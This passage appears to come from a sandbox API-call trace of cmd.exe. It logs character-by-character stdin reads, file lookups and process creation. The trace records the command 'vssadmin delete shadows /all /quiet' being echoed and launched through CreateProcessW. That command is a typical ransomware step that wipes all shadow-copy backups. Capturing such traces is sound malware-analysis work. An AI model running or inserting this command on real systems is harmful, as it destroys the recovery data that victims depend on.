lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0240.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.630] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.630] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0240.630] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.630] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.630] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.630] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0240.630] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.630] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.630] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.630] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0240.630] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.630] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.630] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0240.630] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0240.630] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.630] GetFileType (hFile=0xe8) returned 0x3 [0240.630] _get_osfhandle (_FileHandle=0) returned 0xe8 [0240.630] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0240.630] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.630] GetFileType (hFile=0xf4) returned 0x3 [0240.630] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.630] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0240.630] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2bfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfad8*=0x24, lpOverlapped=0x0) returned 1 [0240.630] GetProcessHeap () returned 0xa0000 [0240.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4012) returned 0xc1010 [0240.631] GetProcessHeap () returned 0xa0000 [0240.631] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xc1010 | out: hHeap=0xa0000) returned 1 [0240.631] GetProcessHeap () returned 0xa0000 [0240.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0xb9840 [0240.631] GetProcessHeap () returned 0xa0000 [0240.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0xb4630 [0240.631] GetProcessHeap () returned 0xa0000 [0240.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0xc0090 [0240.631] GetConsoleOutputCP () returned 0x4e3 [0240.632] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0240.632] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0240.632] GetConsoleTitleW (in: lpConsoleTitle=0x2bfa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x218) returned 0xbaae0 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0xb9a50 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x420) returned 0xbb9a0 [0240.633] SetErrorMode (uMode=0x0) returned 0x0 [0240.633] SetErrorMode (uMode=0x1) returned 0x0 [0240.633] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xbb9b0, lpFilePart=0x2bf320 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2bf320*="system32") returned 0x13 [0240.633] SetErrorMode (uMode=0x0) returned 0x1 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbb9a0, Size=0x4a) returned 0xbb9a0 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbb9a0) returned 0x4a [0240.633] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0240.633] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0xb5bb0 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1f8) returned 0xbba00 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbba00, Size=0x106) returned 0xbba00 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbba00) returned 0x106 [0240.633] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0xb9c60 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xb9c60, Size=0x7e) returned 0xb9c60 [0240.633] GetProcessHeap () returned 0xa0000 [0240.633] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xb9c60) returned 0x7e [0240.633] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0240.633] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2bf090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf090) returned 0xb5cc0 [0240.634] FindClose (in: hFindFile=0xb5cc0 | out: hFindFile=0xb5cc0) returned 1 [0240.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2bf090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf090) returned 0xffffffffffffffff [0240.634] GetLastError () returned 0x2 [0240.634] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2bf090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf090) returned 0xc1040 [0240.634] FindClose (in: hFindFile=0xc1040 | out: hFindFile=0xc1040) returned 1 [0240.634] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0240.634] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0240.634] GetConsoleTitleW (in: lpConsoleTitle=0x2bf5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0240.634] GetProcessHeap () returned 0xa0000 [0240.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21c) returned 0xbbb20 [0240.634] GetConsoleTitleW (in: lpConsoleTitle=0xbbb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0240.634] GetProcessHeap () returned 0xa0000 [0240.634] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbbb20, Size=0xa2) returned 0xbbb20 [0240.634] GetProcessHeap () returned 0xa0000 [0240.634] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbbb20) returned 0xa2 [0240.634] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0240.635] GetProcessHeap () returned 0xa0000 [0240.635] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbbb20 | out: hHeap=0xa0000) returned 1 [0240.635] InitializeProcThreadAttributeList (in: lpAttributeList=0x2bf398, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2bf358 | out: lpAttributeList=0x2bf398, lpSize=0x2bf358) returned 1 [0240.635] UpdateProcThreadAttribute (in: lpAttributeList=0x2bf398, dwFlags=0x0, Attribute=0x60001, lpValue=0x2bf348, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2bf398, lpPreviousValue=0x0) returned 1 [0240.635] GetStartupInfoW (in: lpStartupInfo=0x2bf4b0 | out: lpStartupInfo=0x2bf4b0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0240.635] GetProcessHeap () returned 0xa0000 [0240.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0xb4660 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0240.635] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0240.636] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0240.636] GetProcessHeap () returned 0xa0000 [0240.636] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb4660 | out: hHeap=0xa0000) returned 1 [0240.636] GetProcessHeap () returned 0xa0000 [0240.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0xb9ac0 [0240.636] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2bf3d0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2bf380 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x2bf380*(hProcess=0x50, hThread=0x54, dwProcessId=0x718, dwThreadId=0x71c)) returned 1 [0240.642] CloseHandle (hObject=0x54) returned 1 [0240.642] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0240.642] GetProcessHeap () returned 0xa0000 [0240.642] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbf4e0 | out: hHeap=0xa0000) returned 1 [0240.642] GetEnvironmentStringsW () returned 0xb89c0* [0240.642] GetProcessHeap () returned 0xa0000 [0240.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb22) returned 0xbe9b0 [0240.642] FreeEnvironmentStringsW (penv=0xb89c0) returned 1 [0240.642] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2bec88, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2bec88, ReturnLength=0x0) returned 0x0 [0240.642] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x2becc0, nSize=0x380, lpNumberOfBytesRead=0x2bec80 | out: lpBuffer=0x2becc0*, lpNumberOfBytesRead=0x2bec80*=0x380) returned 1 [0240.642] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0241.606] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2bf2c8 | out: lpExitCode=0x2bf2c8*=0x2) returned 1 [0241.606] CloseHandle (hObject=0x50) returned 1 [0241.606] _vsnwprintf (in: _Buffer=0x2bf538, _BufferCount=0x13, _Format="%08X", _ArgList=0x2bf2d8 | out: _Buffer="00000002") returned 8 [0241.606] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0241.606] GetProcessHeap () returned 0xa0000 [0241.606] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbe9b0 | out: hHeap=0xa0000) returned 1 [0241.606] GetEnvironmentStringsW () returned 0xb89c0* [0241.606] GetProcessHeap () returned 0xa0000 [0241.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb22) returned 0xbe9b0 [0241.606] FreeEnvironmentStringsW (penv=0xb89c0) returned 1 [0241.606] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0241.606] GetProcessHeap () returned 0xa0000 [0241.606] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbe9b0 | out: hHeap=0xa0000) returned 1 [0241.606] GetEnvironmentStringsW () returned 0xb89c0* [0241.606] GetProcessHeap () returned 0xa0000 [0241.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb22) returned 0xbe9b0 [0241.606] FreeEnvironmentStringsW (penv=0xb89c0) returned 1 [0241.606] GetProcessHeap () returned 0xa0000 [0241.606] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9ac0 | out: hHeap=0xa0000) returned 1 [0241.606] DeleteProcThreadAttributeList (in: lpAttributeList=0x2bf398 | out: lpAttributeList=0x2bf398) [0241.606] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0241.607] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.607] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0241.607] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.607] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a95e194 | out: lpMode=0x4a95e194) returned 0 [0241.607] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.607] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a95e198 | out: lpMode=0x4a95e198) returned 0 [0241.607] GetConsoleOutputCP () returned 0x4e3 [0241.607] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0241.607] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9c60 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbba00 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb5bb0 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb9a0 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9a50 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbaae0 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xc0090 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb4630 | out: hHeap=0xa0000) returned 1 [0241.608] GetProcessHeap () returned 0xa0000 [0241.608] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb9840 | out: hHeap=0xa0000) returned 1 [0241.608] _vsnwprintf (in: _Buffer=0x4a976340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2bf7f8 | out: _Buffer="\r\n") returned 2 [0241.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.608] GetFileType (hFile=0xf4) returned 0x3 [0241.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.608] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0241.608] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2bf7c8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7c8*=0x2, lpOverlapped=0x0) returned 1 [0241.608] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0241.608] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a96c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0241.608] _vsnwprintf (in: _Buffer=0x4a95eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2bf808 | out: _Buffer="C:\\Windows\\system32") returned 19 [0241.608] _vsnwprintf (in: _Buffer=0x4a95eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2bf808 | out: _Buffer=">") returned 1 [0241.608] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.609] GetFileType (hFile=0xf4) returned 0x3 [0241.609] _get_osfhandle (_FileHandle=1) returned 0xf4 [0241.609] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0241.609] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2bf7f8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bf7f8*=0x14, lpOverlapped=0x0) returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] GetFileType (hFile=0xe8) returned 0x3 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.609] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0241.609] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.609] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0241.609] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.609] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0241.609] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.609] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0241.609] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0241.609] _get_osfhandle (_FileHandle=0) returned 0xe8 [0241.609] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.609] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0241.609] 